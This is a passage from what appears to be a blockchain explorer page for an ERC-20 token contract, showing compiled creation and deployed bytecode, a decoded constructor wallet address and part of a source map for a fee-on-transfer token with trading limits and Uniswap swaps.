60ff16155b8015610f5657506001600160a01b03851660009081526012602052604090205460ff16155b8015610f7b57506001600160a01b03851660009081526010602052604090205460ff16155b8015610fa057506001600160a01b03841660009081526010602052604090205460ff16155b15610fcf576008805460ff60a01b1916600160a01b179055610fc183611328565b6008805460ff60a01b191690555b600854600090600160a01b900460ff16158015610fea575082155b6001600160a01b03871660009081526010602052604090205490915060ff168061102c57506001600160a01b03851660009081526010602052604090205460ff165b15611035575060005b600081156110c0576001600160a01b03861660009081526012602052604090205460ff16156110855761107e6064611078600f548861148790919063ffffffff16565b9061149a565b90506110a2565b61109f6064611078600e548861148790919063ffffffff16565b90505b80156110b3576110b3873083611180565b6110bd81866118b3565b94505b6110cb878787611180565b50505050505050565b6005546001600160a01b031633146107195760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161065f565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166111a65760405162461bcd60e51b815260040161065f9061182b565b6001600160a01b0382166111cc5760405162461bcd60e51b815260040161065f90611870565b6001600160a01b038316600090815260208190526040902054818110156112445760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161065f565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36106df565b6001600160a01b0384166112d05760405162461bcd60e51b815260040161065f9061182b565b6001600160a01b0383166112f65760405162461bcd60e51b815260040161065f90611870565b6001600160a01b03808516600090815260208190526040808220805485900390559185168152208054830190556106df565b3060009081526020819052604081205490506000600f54600e5461134c9190611818565b6000036113b8576000821180156113645750600c5482105b1561137057508061143f565b600061138c6064611078600f548761148790919063ffffffff16565b905061139881856118b3565b9350600c548411156113ae57600c5491506113b2565b8391505b5061143f565b6000821180156113d45750600c546113d190600561149a565b82115b80156113e15750600c5482105b156113fb57600c546113f490600561149a565b905061143f565b60006114176064611078600f548761148790919063ffffffff16565b905061142381856118b3565b9350600c5484111561143957600c54915061143d565b8391505b505b811561144e5761144e816114a6565b6008546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156106df573d6000803e3d6000fd5b600061149382846118c6565b9392505050565b600061149382846118dd565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114db576114db6118ff565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611559573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061157d9190611915565b81600181518110611590576115906118ff565b60200260200101906001600160a01b031690816001600160a01b0316815250506115db307f00000000000000000000000000000000000000000000000000000000000000008461092b565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611630908590600090869030904290600401611932565b600060405180830381600087803b15801561164a57600080fd5b505af115801561165e573d6000803e3d6000fd5b505050505050565b60006020808352835180602085015260005b8181101561169457858101830151858201604001528201611678565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107d857600080fd5b600080604083850312156116dd57600080fd5b82356116e8816116b5565b946020939093013593505050565b60008060006060848603121561170b57600080fd5b8335611716816116b5565b92506020840135611726816116b5565b929592945050506040919091013590565b60006020828403121561174957600080fd5b8135611493816116b5565b6000806040838503121561176757600080fd5b8235611772816116b5565b91506020830135611782816116b5565b809150509250929050565b600181811c908216806117a157607f821691505b6020821081036117c157634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156117d957600080fd5b5051919050565b6000602082840312156117f257600080fd5b8151801515811461149357600080fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561055a5761055a611802565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8181038181111561055a5761055a611802565b808202811582820484141761055a5761055a611802565b6000826118fa57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561192757600080fd5b8151611493816116b5565b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b818110156119845784516001600160a01b03168352938301939183019160010161195f565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220bd18b22d5efdd4715b5de9a3f94f28646c015f4be78f003faefeea34ee12904d64736f6c6343000819003300000000000000000000000016efaa528efe43fb6588f7f9a4ea4bcd072569ba
Deployed Bytecode
0x6080604052600436106101855760003560e01c80638c0b5e22116100d1578063a9059cbb1161008a578063dd85465211610064578063dd8546521461044e578063e2f4560514610464578063f2fde38b1461047a578063ffb54a991461049a57600080fd5b8063a9059cbb146103f8578063cf9522fd14610418578063dd62ed3e1461042e57600080fd5b80638c0b5e22146103645780638da5cb5b1461037a57806393ea49831461039857806395d89b41146103ae5780639f8d4535146103c3578063a457c2d7146103d857600080fd5b8063346cc7be1161013e57806370a082311161011857806370a08231146102ef578063715018a614610325578063751039fc1461033a57806389291a8f1461034f57600080fd5b8063346cc7be146102615780633950935114610283578063583e0568146102a357600080fd5b806306fdde0314610191578063095ea7b3146101bc5780630e7add85146101ec57806318160ddd1461021057806323b872dd14610225578063313ce5671461024557600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66104b4565b6040516101b39190611666565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046116ca565b610546565b60405190151581526020016101b3565b3480156101f857600080fd5b50610202600b5481565b6040519081526020016101b3565b34801561021c57600080fd5b50600254610202565b34801561023157600080fd5b506101dc6102403660046116f6565b610560565b34801561025157600080fd5b50604051600981526020016101b3565b34801561026d57600080fd5b5061028161027c366004611737565b610584565b005b34801561028f57600080fd5b506101dc61029e3660046116ca565b6106e5565b3480156102af57600080fd5b506102d77f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016101b3565b3480156102fb57600080fd5b5061020261030a366004611737565b6001600160a01b031660009081526020819052604090205490565b34801561033157600080fd5b50610281610707565b34801561034657600080fd5b5061028161071b565b34801561035b57600080fd5b50610281610743565b34801561037057600080fd5b50610202600a5481565b34801561038657600080fd5b506005546001600160a01b03166102d7565b3480156103a457600080fd5b5061020260095481565b3480156103ba57600080fd5b506101a66107db565b3480156103cf57600080fd5b506102816107ea565b3480156103e457600080fd5b506101dc6103f33660046116ca565b610801565b34801561040457600080fd5b506101dc6104133660046116ca565b61087c565b34801561042457600080fd5b50610202600f5481565b34801561043a57600080fd5b50610202610449366004611754565b61088a565b34801561045a57600080fd5b50610202600e5481565b34801561047057600080fd5b50610202600c5481565b34801561048657600080fd5b50610281610495366004611737565b6108b5565b3480156104a657600080fd5b50600d546101dc9060ff1681565b6060600380546104c39061178d565b80601f01602080910402602001604051908101604052809291908181526020018280546104ef9061178d565b801561053c5780601f106105115761010080835404028352916020019161053c565b820191906000526020600020905b81548152906001019060200180831161051f57829003601f168201915b5050505050905090565b60003361055481858561092b565b60019150505b92915050565b60003361056e858285610a4f565b610579858585610ac3565b506001949350505050565b6007546001600160a01b0316336001600160a01b0316146105a457600080fd5b6040516370a0823160e01b815230600482015281906000906001600160a01b038316906370a0823190602401602060405180830381865afa1580156105ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061191906117c7565b9050600081116106685760405162461bcd60e51b815260206004820152601960248201527f45524332303a204e6f20746f6b656e7320746f20636c6561720000000000000060448201526064015b60405180910390fd5b60075460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af11580156106bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106df91906117e0565b50505050565b6000336105548185856106f8838361088a565b6107029190611818565b61092b565b61070f6110d4565b610719600061112e565b565b6107236110d4565b600061072e60025490565b600a819055600b55506000600e819055600f55565b6007546001600160a01b0316336001600160a01b03161461076357600080fd5b600047116107ac5760405162461bcd60e51b815260206004820152601660248201527522a92199181d1037379022aa24103a379031b632b0b960511b604482015260640161065f565b60405133904780156108fc02916000818181858888f193505050501580156107d8573d6000803e3d6000fd5b50565b6060600480546104c39061178d565b6107f26110d4565b600d805460ff19166001179055565b6000338161080f828661088a565b90508381101561086f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161065f565b610579828686840361092b565b600033610554818585610ac3565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108bd6110d4565b6001600160a01b0381166109225760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161065f565b6107d88161112e565b6001600160a01b03831661098d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161065f565b6001600160a01b0382166109ee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161065f565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610a5b848461088a565b905060001981146106df5781811015610ab65760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161065f565b6106df848484840361092b565b6001600160a01b038316610ae95760405162461bcd60e51b815260040161065f9061182b565b6001600160a01b038216610b0f5760405162461bcd60e51b815260040161065f90611870565b80600003610b2857610b2383836000611180565b505050565b6001600160a01b03831660009081526012602052604081205460ff16158015610b6a57506001600160a01b03831660009081526012602052604090205460ff16155b9050610b7e6005546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610bad57506005546001600160a01b03848116911614155b8015610bc157506001600160a01b03831615155b8015610bd857506001600160a01b03831661dead14155b8015610bee5750600854600160a01b900460ff16155b15610f1857600d5460ff16610c81576001600160a01b03841660009081526010602052604090205460ff1680610c3c57506001600160a01b03831660009081526010602052604090205460ff165b610c815760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161065f565b6001600160a01b0384163014801590610cb257506001600160a01b03841660009081526010602052604090205460ff165b15610cc4576106df84848460006112aa565b6001600160a01b03841660009081526012602052604090205460ff168015610d0557506001600160a01b03831660009081526011602052604090205460ff16155b15610ddb57600a54821115610d715760405162461bcd60e51b815260206004820152602c60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526b36b0bc2a3c20b6b7bab73a1760a11b606482015260840161065f565b600b546001600160a01b038416600090815260208190526040902054610d979084611818565b1115610ddb5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161065f565b6001600160a01b03831660009081526012602052604090205460ff168015610e1c57506001600160a01b03841660009081526011602052604090205460ff16155b15610e8e57600a54821115610e895760405162461bcd60e51b815260206004820152602d60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526c1036b0bc2a3c20b6b7bab73a1760991b606482015260840161065f565b610f18565b6001600160a01b03831660009081526011602052604090205460ff16610f1857600b546001600160a01b038416600090815260208190526040902054610ed49084611818565b1115610f185760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161065f565b8015808015610f315750600854600160a01b900460ff16155b8015610f5657506001600160a01b03851660009081526012602052604090205460ff16155b8015610f7b57506001600160a01b03851660009081526010602052604090205460ff16155b8015610fa057506001600160a01b03841660009081526010602052604090205460ff16155b15610fcf576008805460ff60a01b1916600160a01b179055610fc183611328565b6008805460ff60a01b191690555b600854600090600160a01b900460ff16158015610fea575082155b6001600160a01b03871660009081526010602052604090205490915060ff168061102c57506001600160a01b03851660009081526010602052604090205460ff165b15611035575060005b600081156110c0576001600160a01b03861660009081526012602052604090205460ff16156110855761107e6064611078600f548861148790919063ffffffff16565b9061149a565b90506110a2565b61109f6064611078600e548861148790919063ffffffff16565b90505b80156110b3576110b3873083611180565b6110bd81866118b3565b94505b6110cb878787611180565b50505050505050565b6005546001600160a01b031633146107195760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161065f565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166111a65760405162461bcd60e51b815260040161065f9061182b565b6001600160a01b0382166111cc5760405162461bcd60e51b815260040161065f90611870565b6001600160a01b038316600090815260208190526040902054818110156112445760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161065f565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36106df565b6001600160a01b0384166112d05760405162461bcd60e51b815260040161065f9061182b565b6001600160a01b0383166112f65760405162461bcd60e51b815260040161065f90611870565b6001600160a01b03808516600090815260208190526040808220805485900390559185168152208054830190556106df565b3060009081526020819052604081205490506000600f54600e5461134c9190611818565b6000036113b8576000821180156113645750600c5482105b1561137057508061143f565b600061138c6064611078600f548761148790919063ffffffff16565b905061139881856118b3565b9350600c548411156113ae57600c5491506113b2565b8391505b5061143f565b6000821180156113d45750600c546113d190600561149a565b82115b80156113e15750600c5482105b156113fb57600c546113f490600561149a565b905061143f565b60006114176064611078600f548761148790919063ffffffff16565b905061142381856118b3565b9350600c5484111561143957600c54915061143d565b8391505b505b811561144e5761144e816114a6565b6008546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156106df573d6000803e3d6000fd5b600061149382846118c6565b9392505050565b600061149382846118dd565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114db576114db6118ff565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611559573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061157d9190611915565b81600181518110611590576115906118ff565b60200260200101906001600160a01b031690816001600160a01b0316815250506115db307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461092b565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611630908590600090869030904290600401611932565b600060405180830381600087803b15801561164a57600080fd5b505af115801561165e573d6000803e3d6000fd5b505050505050565b60006020808352835180602085015260005b8181101561169457858101830151858201604001528201611678565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107d857600080fd5b600080604083850312156116dd57600080fd5b82356116e8816116b5565b946020939093013593505050565b60008060006060848603121561170b57600080fd5b8335611716816116b5565b92506020840135611726816116b5565b929592945050506040919091013590565b60006020828403121561174957600080fd5b8135611493816116b5565b6000806040838503121561176757600080fd5b8235611772816116b5565b91506020830135611782816116b5565b809150509250929050565b600181811c908216806117a157607f821691505b6020821081036117c157634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156117d957600080fd5b5051919050565b6000602082840312156117f257600080fd5b8151801515811461149357600080fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561055a5761055a611802565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8181038181111561055a5761055a611802565b808202811582820484141761055a5761055a611802565b6000826118fa57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561192757600080fd5b8151611493816116b5565b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b818110156119845784516001600160a01b03168352938301939183019160010161195f565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220bd18b22d5efdd4715b5de9a3f94f28646c015f4be78f003faefeea34ee12904d64736f6c63430008190033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000016efaa528efe43fb6588f7f9a4ea4bcd072569ba
-----Decoded View---------------
Arg [0] : wallet (address): 0x16efaa528efe43FB6588F7f9A4EA4bcD072569bA
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000016efaa528efe43fb6588f7f9a4ea4bcd072569ba
Deployed Bytecode Sourcemap
15350:7805:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9859:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10790:201;;;;;;;;;;-1:-1:-1;10790:201:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10790:201:0;1023:187:1;15888:48:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;15888:48:0;1215:177:1;10179:108:0;;;;;;;;;;-1:-1:-1;10267:12:0;;10179:108;;10999:295;;;;;;;;;;-1:-1:-1;10999:295:0;;;;;:::i;:::-;;:::i;10079:92::-;;;;;;;;;;-1:-1:-1;10079:92:0;;10162:1;2000:36:1;;1988:2;1973:18;10079:92:0;1858:184:1;21492:354:0;;;;;;;;;;-1:-1:-1;21492:354:0;;;;;:::i;:::-;;:::i;:::-;;11302:238;;;;;;;;;;-1:-1:-1;11302:238:0;;;;;:::i;:::-;;:::i;15431:52::-;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2488:32:1;;;2470:51;;2458:2;2443:18;15431:52:0;2299:228:1;10295:127:0;;;;;;;;;;-1:-1:-1;10295:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;10396:18:0;10369:7;10396:18;;;;;;;;;;;;10295:127;8935:103;;;;;;;;;;;;;:::i;21019:232::-;;;;;;;;;;;;;:::i;21259:225::-;;;;;;;;;;;;;:::i;15835:46::-;;;;;;;;;;;;;;;;8700:87;;;;;;;;;;-1:-1:-1;8773:6:0;;-1:-1:-1;;;;;8773:6:0;8700:87;;15784:44;;;;;;;;;;;;;;;;9967:104;;;;;;;;;;;;;:::i;17854:79::-;;;;;;;;;;;;;:::i;11548:436::-;;;;;;;;;;-1:-1:-1;11548:436:0;;;;;:::i;:::-;;:::i;10430:193::-;;;;;;;;;;-1:-1:-1;10430:193:0;;;;;:::i;:::-;;:::i;16078:27::-;;;;;;;;;;;;;;;;10631:151;;;;;;;;;;-1:-1:-1;10631:151:0;;;;;:::i;:::-;;:::i;16045:26::-;;;;;;;;;;;;;;;;15943:53;;;;;;;;;;;;;;;;9046:201;;;;;;;;;;-1:-1:-1;9046:201:0;;;;;:::i;:::-;;:::i;16005:31::-;;;;;;;;;;-1:-1:-1;16005:31:0;;;;;;;;9859:100;9913:13;9946:5;9939:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9859:100;:::o;10790:201::-;10873:4;424:10;10929:32;424:10;10945:7;10954:6;10929:8;:32::i;:::-;10979:4;10972:11;;;10790:201;;;;;:::o;10999:295::-;11130:4;424:10;11188:38;11204:4;424:10;11219:6;11188:15;:38::i;:::-;11237:27;11247:4;11253:2;11257:6;11237:9;:27::i;:::-;-1:-1:-1;11282:4:0;;10999:295;-1:-1:-1;;;;10999:295:0:o;21492:354::-;21584:14;;-1:-1:-1;;;;;21584:14:0;424:10;-1:-1:-1;;;;;21568:30:0;;21560:39;;;;;;21682:38;;-1:-1:-1;;;21682:38:0;;21714:4;21682:38;;;2470:51:1;21640:12:0;;21610:20;;-1:-1:-1;;;;;21682:23:0;;;;;2443:18:1;;21682:38:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21664:56;;21749:1;21739:7;:11;21731:49;;;;-1:-1:-1;;;21731:49:0;;3909:2:1;21731:49:0;;;3891:21:1;3948:2;3928:18;;;3921:30;3987:27;3967:18;;;3960:55;4032:18;;21731:49:0;;;;;;;;;21814:14;;21791:47;;-1:-1:-1;;;21791:47:0;;-1:-1:-1;;;;;21814:14:0;;;21791:47;;;4235:51:1;4302:18;;;4295:34;;;21791:22:0;;;;;;4208:18:1;;21791:47:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;21549:297;;21492:354;:::o;11302:238::-;11390:4;424:10;11446:64;424:10;11462:7;11499:10;11471:25;424:10;11462:7;11471:9;:25::i;:::-;:38;;;;:::i;:::-;11446:8;:64::i;8935:103::-;8659:13;:11;:13::i;:::-;9000:30:::1;9027:1;9000:18;:30::i;:::-;8935:103::o:0;21019:232::-;8659:13;:11;:13::i;:::-;21073:25:::1;21101:13;10267:12:::0;;;10179:108;21101:13:::1;21125:11;:31:::0;;;21167:13:::1;:33:::0;-1:-1:-1;;21211:6:0::1;:10:::0;;;21232:7:::1;:11:::0;21019:232::o;21259:225::-;21328:14;;-1:-1:-1;;;;;21328:14:0;424:10;-1:-1:-1;;;;;21312:30:0;;21304:39;;;;;;21386:1;21362:21;:25;21354:60;;;;-1:-1:-1;;;21354:60:0;;5086:2:1;21354:60:0;;;5068:21:1;5125:2;5105:18;;;5098:30;-1:-1:-1;;;5144:18:1;;;5137:52;5206:18;;21354:60:0;4884:346:1;21354:60:0;21425:51;;21433:10;;21454:21;21425:51;;;;;;;;;21454:21;21433:10;21425:51;;;;;;;;;;;;;;;;;;;;;21259:225::o;9967:104::-;10023:13;10056:7;10049:14;;;;;:::i;17854:79::-;8659:13;:11;:13::i;:::-;17907:11:::1;:18:::0;;-1:-1:-1;;17907:18:0::1;17921:4;17907:18;::::0;;17854:79::o;11548:436::-;11641:4;424:10;11641:4;11724:25;424:10;11741:7;11724:9;:25::i;:::-;11697:52;;11788:15;11768:16;:35;;11760:85;;;;-1:-1:-1;;;11760:85:0;;5437:2:1;11760:85:0;;;5419:21:1;5476:2;5456:18;;;5449:30;5515:34;5495:18;;;5488:62;-1:-1:-1;;;5566:18:1;;;5559:35;5611:19;;11760:85:0;5235:401:1;11760:85:0;11881:60;11890:5;11897:7;11925:15;11906:16;:34;11881:8;:60::i;10430:193::-;10509:4;424:10;10565:28;424:10;10582:2;10586:6;10565:9;:28::i;10631:151::-;-1:-1:-1;;;;;10747:18:0;;;10720:7;10747:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10631:151::o;9046:201::-;8659:13;:11;:13::i;:::-;-1:-1:-1;;;;;9135:22:0;::::1;9127:73;;;::::0;-1:-1:-1;;;9127:73:0;;5843:2:1;9127:73:0::1;::::0;::::1;5825:21:1::0;5882:2;5862:18;;;5855:30;5921:34;5901:18;;;5894:62;-1:-1:-1;;;5972:18:1;;;5965:36;6018:19;;9127:73:0::1;5641:402:1::0;9127:73:0::1;9211:28;9230:8;9211:18;:28::i;14237:380::-:0;-1:-1:-1;;;;;14373:19:0;;14365:68;;;;-1:-1:-1;;;14365:68:0;;6250:2:1;14365:68:0;;;6232:21:1;6289:2;6269:18;;;6262:30;6328:34;6308:18;;;6301:62;-1:-1:-1;;;6379:18:1;;;6372:34;6423:19;;14365:68:0;6048:400:1;14365:68:0;-1:-1:-1;;;;;14452:21:0;;14444:68;;;;-1:-1:-1;;;14444:68:0;;6655:2:1;14444:68:0;;;6637:21:1;6694:2;6674:18;;;6667:30;6733:34;6713:18;;;6706:62;-1:-1:-1;;;6784:18:1;;;6777:32;6826:19;;14444:68:0;6453:398:1;14444:68:0;-1:-1:-1;;;;;14525:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14577:32;;1361:25:1;;;14577:32:0;;1334:18:1;14577:32:0;;;;;;;14237:380;;;:::o;14625:453::-;14760:24;14787:25;14797:5;14804:7;14787:9;:25::i;:::-;14760:52;;-1:-1:-1;;14827:16:0;:37;14823:248;;14909:6;14889:16;:26;;14881:68;;;;-1:-1:-1;;;14881:68:0;;7058:2:1;14881:68:0;;;7040:21:1;7097:2;7077:18;;;7070:30;7136:31;7116:18;;;7109:59;7185:18;;14881:68:0;6856:353:1;14881:68:0;14993:51;15002:5;15009:7;15037:6;15018:16;:25;14993:8;:51::i;18135:2389::-;-1:-1:-1;;;;;18235:18:0;;18227:68;;;;-1:-1:-1;;;18227:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18314:16:0;;18306:64;;;;-1:-1:-1;;;18306:64:0;;;;;;;:::i;:::-;18387:6;18397:1;18387:11;18383:93;;18415:28;18431:4;18437:2;18441:1;18415:15;:28::i;:::-;18135:2389;;;:::o;18383:93::-;-1:-1:-1;;;;;18515:31:0;;18496:15;18515:31;;;:25;:31;;;;;;;;18514:32;:66;;;;-1:-1:-1;;;;;;18551:29:0;;;;;;:25;:29;;;;;;;;18550:30;18514:66;18496:84;;18605:7;8773:6;;-1:-1:-1;;;;;8773:6:0;;8700:87;18605:7;-1:-1:-1;;;;;18597:15:0;:4;-1:-1:-1;;;;;18597:15:0;;;:32;;;;-1:-1:-1;8773:6:0;;-1:-1:-1;;;;;18616:13:0;;;8773:6;;18616:13;;18597:32;:52;;;;-1:-1:-1;;;;;;18633:16:0;;;;18597:52;:77;;;;-1:-1:-1;;;;;;18653:21:0;;18667:6;18653:21;;18597:77;:90;;;;-1:-1:-1;18679:8:0;;-1:-1:-1;;;18679:8:0;;;;18678:9;18597:90;18593:1052;;;18711:11;;;;18706:140;;-1:-1:-1;;;;;18751:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;18780:23:0;;;;;;:19;:23;;;;;;;;18751:52;18743:87;;;;-1:-1:-1;;;18743:87:0;;8226:2:1;18743:87:0;;;8208:21:1;8265:2;8245:18;;;8238:30;-1:-1:-1;;;8284:18:1;;;8277:52;8346:18;;18743:87:0;8024:346:1;18743:87:0;-1:-1:-1;;;;;18864:21:0;;18880:4;18864:21;;;;:50;;-1:-1:-1;;;;;;18889:25:0;;;;;;:19;:25;;;;;;;;18864:50;18860:134;;;18942:36;18958:4;18964:2;18968:6;18976:1;18942:15;:36::i;18860:134::-;-1:-1:-1;;;;;19012:31:0;;;;;;:25;:31;;;;;;;;:62;;;;-1:-1:-1;;;;;;19048:26:0;;;;;;:22;:26;;;;;;;;19047:27;19012:62;19008:271;;;19113:11;;19103:6;:21;;19095:78;;;;-1:-1:-1;;;19095:78:0;;8577:2:1;19095:78:0;;;8559:21:1;8616:2;8596:18;;;8589:30;8655:34;8635:18;;;8628:62;-1:-1:-1;;;8706:18:1;;;8699:42;8758:19;;19095:78:0;8375:408:1;19095:78:0;19226:13;;-1:-1:-1;;;;;10396:18:0;;10369:7;10396:18;;;;;;;;;;;19200:22;;:6;:22;:::i;:::-;:39;;19192:71;;;;-1:-1:-1;;;19192:71:0;;8990:2:1;19192:71:0;;;8972:21:1;9029:2;9009:18;;;9002:30;-1:-1:-1;;;9048:18:1;;;9041:49;9107:18;;19192:71:0;8788:343:1;19192:71:0;-1:-1:-1;;;;;19297:29:0;;;;;;:25;:29;;;;;;;;:62;;;;-1:-1:-1;;;;;;19331:28:0;;;;;;:22;:28;;;;;;;;19330:29;19297:62;19293:341;;;19398:11;;19388:6;:21;;19380:79;;;;-1:-1:-1;;;19380:79:0;;9338:2:1;19380:79:0;;;9320:21:1;9377:2;9357:18;;;9350:30;9416:34;9396:18;;;9389:62;-1:-1:-1;;;9467:18:1;;;9460:43;9520:19;;19380:79:0;9136:409:1;19380:79:0;19293:341;;;-1:-1:-1;;;;;19500:26:0;;;;;;:22;:26;;;;;;;;19495:139;;19581:13;;-1:-1:-1;;;;;10396:18:0;;10369:7;10396:18;;;;;;;;;;;19555:22;;:6;:22;:::i;:::-;:39;;19547:71;;;;-1:-1:-1;;;19547:71:0;;8990:2:1;19547:71:0;;;8972:21:1;9029:2;9009:18;;;9002:30;-1:-1:-1;;;9048:18:1;;;9041:49;9107:18;;19547:71:0;8788:343:1;19547:71:0;19672:11;;;19700:20;;;;-1:-1:-1;19712:8:0;;-1:-1:-1;;;19712:8:0;;;;19711:9;19700:20;:56;;;;-1:-1:-1;;;;;;19725:31:0;;;;;;:25;:31;;;;;;;;19724:32;19700:56;:86;;;;-1:-1:-1;;;;;;19761:25:0;;;;;;:19;:25;;;;;;;;19760:26;19700:86;:114;;;;-1:-1:-1;;;;;;19791:23:0;;;;;;:19;:23;;;;;;;;19790:24;19700:114;19696:224;;;19831:8;:15;;-1:-1:-1;;;;19831:15:0;-1:-1:-1;;;19831:15:0;;;19861:16;19870:6;19861:8;:16::i;:::-;19892:8;:16;;-1:-1:-1;;;;19892:16:0;;;19696:224;19948:8;;19932:12;;-1:-1:-1;;;19948:8:0;;;;19947:9;:24;;;;;19961:10;19960:11;19947:24;-1:-1:-1;;;;;19988:25:0;;;;;;:19;:25;;;;;;19932:39;;-1:-1:-1;19988:25:0;;;:52;;-1:-1:-1;;;;;;20017:23:0;;;;;;:19;:23;;;;;;;;19988:52;19984